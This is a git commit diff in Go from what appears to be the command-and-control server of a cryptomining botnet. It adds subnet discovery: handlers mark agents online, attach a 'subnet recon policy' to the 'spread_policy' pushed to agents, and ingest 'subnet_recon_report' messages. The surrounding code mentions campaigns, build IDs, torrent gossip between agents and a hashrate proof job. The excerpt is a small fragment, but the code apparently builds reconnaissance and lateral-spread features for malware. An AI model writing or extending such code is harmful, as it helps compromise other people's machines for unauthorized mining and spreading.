Add server subnet discovery store, API, and agent policy push.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 12:13:51 -07:00
parent 825bf81131
commit 1f63824199
13 changed files with 695 additions and 15 deletions

View File

@@ -863,6 +863,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
})})
break
}
h.markSubnetDiscoveryAgentOnline(clientIP)
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
@@ -969,6 +970,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
spreadPolicy[k] = v
}
}
h.attachSubnetReconPolicy(resp, spreadPolicy, clientIP)
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
@@ -1704,6 +1706,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
case "subnet_recon_report":
if agentID == "" {
continue
}
h.ingestSubnetReconReport(agentID, msg.Payload)
case "command_result":
if agentID == "" {
continue